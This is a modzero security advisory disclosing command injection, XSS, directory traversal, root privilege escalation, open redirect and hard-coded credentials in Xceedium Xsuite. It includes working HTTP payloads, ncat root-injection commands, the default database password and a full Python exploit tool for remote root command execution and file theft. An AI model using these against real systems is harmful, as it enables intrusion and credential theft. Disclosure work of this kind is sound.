Xceedium Xsuite – Multiple Vulnerabilities
See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt --------------------------------------------------------------------- modzero Security Advisory: Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02] --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2015-06-17: Vulnerabilities have been discovered * 2015-06-19: Vendor notified via support@xceedium.com * 2015-06-19: CVE IDs assigned * 2015-06-26: Public reminder sent via Twitter * 2015-06-26: Findings updated * 2015-07-22: Release after Xceedium did not respond within more than 15 business days --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: Xceedium, Inc. Products known to be affected: * Xsuite 2.3.0 * Xsuite 2.4.3.0 * Other products and versions may be affected as well. Severity: Overall High Remote exploitable: remote and local The Xsuite system controls and audits privileged user access to computers in a network environment. Several vulnerabilities were identified in the solution. The vulnerabilities allow unauthenticated users to fully compromise an Xsuite host over the network. The issues described below are only examples for vulnerability classes. The solution is systematically affected by similar issues. CVE-2015-4664 to CVE-2015-4669 was assigned to these vulnerabilities and vulnerability classes. --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- 3.1 Command injection via the login form (Severity: High, CVE-2015-4664) The login form is affected by a code injection vulnerability via the "id" POST parameter, which allows an unauthenticated attacker to inject Linux commands. These commands are executed with the privileges of the Linux user "www-data". The injected command's output is then sent back to the attacker. An example HTTP request and response is shown below. HTTP request: POST /login.php HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://XXX.XXX.XXX.XXX/ Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 80 id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID= HTTP response: HTTP/1.1 200 OK Date: Wed, 17 Jun 2015 10:47:47 GMT Server: Apache X-Frame-Options: SAMEORIGIN Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/ Strict-Transport-Security: max-age=365246060 Content-Length: 2096 Keep-Alive: timeout=150, max=300 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh [...] 3.2 Cross-Site Scripting Vulnerability (Severity: Medium, CVE-2015-4665) The following example shows a reflected cross-site scripting vulnerability that injects JavaScript code into a user's session. Here, the HTTP response contains a message, which seems to be JSON. However, the content type is "text/html". Thus, a web browser treats the server response as HTML code (fragment). HTTP request: GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815 Connection: keep-alive HTTP response: HTTP/1.1 200 OK Date: Thu, 18 Jun 2015 11:10:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Strict-Transport-Security: max-age=365246060 Content-Length: 70 Keep-Alive: timeout=150, max=300 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 ["Unable to find decryption key for file <img src=a onload=alert(1)>"] 3.3 Directory traversal and File Download Vulnerability (Severity: Medium/High, CVE-2015-4666) Due to insufficient input validation the "read_sessionlog.php" script is affected by a directory traversal vulnerability, which allows unauthenticated users to obtain any files that the user "www-data" is allowed to access. The script tries to cut the "../" pattern for relative directory addressing, but fails to sanitize specially crafted input. Hence, it is still possible to download files from the host by accessing the script as shown below: https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd The following code is part of the source code file /var/www/htdocs/uag/web/opm/read_sessionlog.php [...] $file_path= $_REQUEST["logFile"]; [...] if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; } if($startByte < 1) $startByte=0; if (isset($file_path)) { // make sure users cannot hack via ../../ $file_path = preg_replace("/\.\.\//", "", $file_path); $file_path = stripslashes($file_path); // if the file does not exist, display it if (!is_file($file_path)) { echo 'File (' .$_REQUEST["logFile"]. ') does not exist.'; exit(0); } } output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte); [...] 3.4 Privilege escalation via "/sbin/spadmind" (Severity: High, CVE-2015-4664) The "spadmind" service allows local users to escalate their privileges to become "root". In combination with the command injection vulnerability from section 3.1, it is possible to run arbitrary commands as "root" user via the network. The web interface runs under the privileges of the web server user. To execute privileged commands, the web interface sends text-based messages via a socket to the "spadmind" process. The "spadmind" process has a listening socket bound to localhost:2210 and reads in text lines, which are partially used as parameter for system command execution. Since the "spadmind" process does not validate the input, an attacker is able to inject commands that are executed with super-user privileges. File: /sbin/spadmind [...] # socket my $clsock = shift; # command and number of lines to process my $command = <$clsock>; my $numlines = <$clsock>; chomp($command); chomp($numlines); [...] } elsif ($command eq 'expect') { chomp($line = <$clsock>); my $res = `expect $line`; if ($res =~ /(STATUS=\w+)/) { $resp = $1; } else { $resp = 'unknown'; } [...] In the quoted code above, running the command "expect" and allowing users to specify parameters is a vulnerability, because parameters could be passed via option "-c" to invoke shell commands. $ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x23 uid=0(root) gid=0(root) $ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42 uid=0(root) gid=0(root) 3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667) The software uses hard-coded credentials at several places, which makes it unfeasible to change database credentials regularly. $ grep -R n1b2dy . ./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy'); ./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy"; ./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/web/ajax_cmd.php: $link = mysql_connect("localhost", "uaguser" ,"n1b2dy"); ./www/htdocs/uag/cgi/external_log_sync.php: $db_link_local = new mysqli("localhost", "uaguser", "n1b2dy", "uag"); ./www/htdocs/uag/config/db.php:$dbchoices = array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/services/main/common/Configuration.php: const K_DB_PASS_DEFAULT = 'n1b2dy'; ./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/db.php: $dbchoices = array("mysql", "uaguser", "n1b2dy"); ./www/htdocs/uag/functions/remove_disabled_cron.pl: 'n1b2dy', $ grep -R n1b2dy sbin sbin/logwatch:use constant LW_DBPASS => "n1b2dy"; sbin/interrogate-vmware.pl: use constant DB_PASSWORD => 'n1b2dy'; Binary file sbin/xcd_sshproxy matches Binary file sbin/xcd_upd matches Binary file sbin/vlmon matches Binary file sbin/sessd matches Binary file sbin/gksfdm matches Binary file sbin/xcdmsubagent matches sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to the database\n"); sbin/make-auth-token.pl: my $passwd = 'n1b2dy'; sbin/rotate_coredumps.pl: my $passwd = 'n1b2dy'; Binary file sbin/loadcrl matches sbin/ad_upd: $dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/ad_upd: my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/ad_upd: $dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } ) sbin/rfscheck:use constant LW_DBPASS => "n1b2dy"; sbin/auth.pl: 'n1b2dy', sbin/apwd: my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return; sbin/update_crld:my($dbpass)="n1b2dy"; sbin/update_crld: 'n1b2dy', 3.6. No password for MySQL "root" user (Severity: High, CVE-2015-4669) Local users can access databases on the system without further restrictions, because the MySQL "root" user has no password set. $ python XceediumXsuitePoC.py --host XXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0, passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag' 3.7 Open redirect (Severity: Low, CVE-2015-4668) An attacker may craft a link to an Xsuite host that looks valid, but tricks the user and abuses an open redirect vulnerability in Xsuite to redirect a user to a third party web site, for example a web site with malware. https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68 File: /var/www/htdocs/uag/web/openwin.php <? $redirurl = $_GET['redirurl']; header('Location: ' .$redirurl); ?> 3.8 Possible issues not further investigated Passwords stored in the database are unsalted hashes, which reduces the attack complexity if an attacker has access to the database. The setup under invesatigation partially used MD5 and SHA1 hashes. The web interface and scripts create SQL statements by concatenating strings and user-supplied input without proper input validation. This may result in SQL injections. $ grep -i -R where . | grep -E '\$_(POST|GET)' ./web/filter/filter_sfa.php: $query = "delete from socket_filter_mon where sfm_id='".$_GET['sfm_id']."'"; ./web/filter/filter_command_list.php: $query = "select * from cmd_list where id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "delete from cmd_list where id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "delete from cmd_keywords where list_id='".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: "where command_filter = '".$_POST["s_list"]."'"; ./web/filter/filter_command_list.php: $query = "select * from cmd_list where list_type='".$_POST['r_ltype']."' order by listname"; ./web/filter/filter_command_list.php: where id='".$_POST['id']."'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['number_warnings']."' where name = 'number_of_warnings'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['blacklist_action']."' where name = 'intervention_action'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'"; ./web/filter/filter_command.php: $query = "update intervention_configuration set value = '".$_POST['alert_email_message']."' where name = 'alert_email_message'"; ./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET['h_id']); ./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" . $_GET['h_id']); ./web/socketFilterCmd.php: $query = "delete from rdp_lock where id='".$_GET['rdp_id']."'"; ./web/socketFilterCmd.php: $query = "select hostID from host where h_id = '".db_esc($_GET["device_name"])."'"; ./web/socketFilterCmd.php: where sess_id='".$_GET['PHPSESSID']."' and ./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL'; ./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL'; ./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL'; ./web/ajax_cmd.php: $query = "select * from session where sess_id='".$_GET['param']."'"; ./web/ajax_cmd.php: WHERE hostID = '".$_GET['hostID']."'"; ./web/ajax_cmd.php: $query = 'SELECT u.userID FROM session AS s, user AS u WHERE s.u_name = u.u_name AND s.sess_id = "' .db_esc($_GET['sess_id']). '"'; ./web/dev/dev_ajax.php: $update_query = "UPDATE kta_settings set value = '".$_GET[$name]."' where name = '".$name."'"; ./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') { ./web/dev/dev_group_ajax.php: $where = $_POST['where']; ./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') { ./web/dev/dev_group_ajax.php: $where = $_POST['where']; ./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') { ./web/dev/dev_group_ajax.php: $where = $_POST['where']; ./features/dev_sfa.php: $query = "delete from socket_filter_mon where sfm_id='".$_GET['sfm_id']."'"; ./hconfig/functions/smartb.php: $query = "delete from smartb_cfg_files where fileName = '".$_POST["filename"]."'"; --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- The identified vulnerabilities allows any user to execute arbitrary commands as system super-user ("root"). Since the system is used to control other devices (for example, via RDP and SSH), an attacker would add malicous modification to the Java-based clients for RDP and SSH to exfiltrate access credentials for computers and to abuse these credentials in further steps. --------------------------------------------------------------------- 5. Proof of concept exploit --------------------------------------------------------------------- #!/usr/bin/python # # Proof of Concept Tool to Exploit Vulnerabilities in # Xceedium Xsuite # # Author: modzero AG, Switzerland # import httplib2, urllib import re import base64 from optparse import OptionParser url = '' def get_command_output(cmd): marker = '~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!' values = { 'id' : "admin'| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #", 'pass' : 'foo', 'authTypeOption' : 'use_local', 'loginID' : '', } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } values = urllib.urlencode(values) h = httplib2.Http(disable_ssl_certificate_validation=True) resp, content = h.request(url, "POST", values, headers = headers) offset1 = content.find(marker) + len(marker) offset2 = content.rfind(marker, offset1 + 1) try: return base64.standard_b64decode(content[offset1:offset2]) except: return content[offset1:offset2] def get_dir(retrieve_dir): fname = re.sub(r'\/', '_', retrieve_dir) + ".tgz" text_file = open(fname, "w") text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64")) text_file.close() def get_file(retrieve_file): fname = re.sub(r'\/', '_', retrieve_file) data = get_command_output("cat " + retrieve_file + " | base64") print data text_file = open(fname, "w") text_file.write(data) text_file.close() def exec_cmd(cmd): data = get_command_output(cmd + " | base64") print data def exec_root(cmd): data = get_command_output('echo -e "timezone\n1\n;' + cmd + ' > /tmp/.x" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/.x | base64') print data def upload_file(fname, dst_file): with open(fname, 'r') as content_file: b64_content = base64.standard_b64encode(content_file.read()) get_command_output("echo " + b64_content + " | base64 -d > " + dst_file) def main(): global url parser = OptionParser() parser.add_option("--host", dest="host", help="The host to attack") parser.add_option("--dir", dest="dir", help="The directory to retrieve") parser.add_option("--file", dest="file", help="The file to retrieve") parser.add_option("--cmd", dest="cmd", help="The command to execute") parser.add_option("--root", dest="root", help="The command to execute with root privileges") parser.add_option("--upload", dest="upload", help="A local file to upload") parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content") (options, args) = parser.parse_args() if options.host: url = 'https://%s/login.php' % (options.host) if options.dir: get_dir(options.dir) elif options.file: get_file(options.file) elif options.cmd: exec_cmd(options.cmd) elif options.root: exec_root(options.root) elif options.upload: upload_file(options.upload, options.dst_file) if __name__ == "__main__": main() --------------------------------------------------------------------- 6. Workaround --------------------------------------------------------------------- A workaround is not known. --------------------------------------------------------------------- 7. Fix --------------------------------------------------------------------- It is not known to modzero, if a security fix is available. --------------------------------------------------------------------- 8. Credits --------------------------------------------------------------------- * Martin Schobert (martin@modzero.ch) --------------------------------------------------------------------- 9. About modzero --------------------------------------------------------------------- The independent Swiss company modzero AG assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero AG work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.ch contact@modzero.ch --------------------------------------------------------------------- 10. Disclaimer --------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. |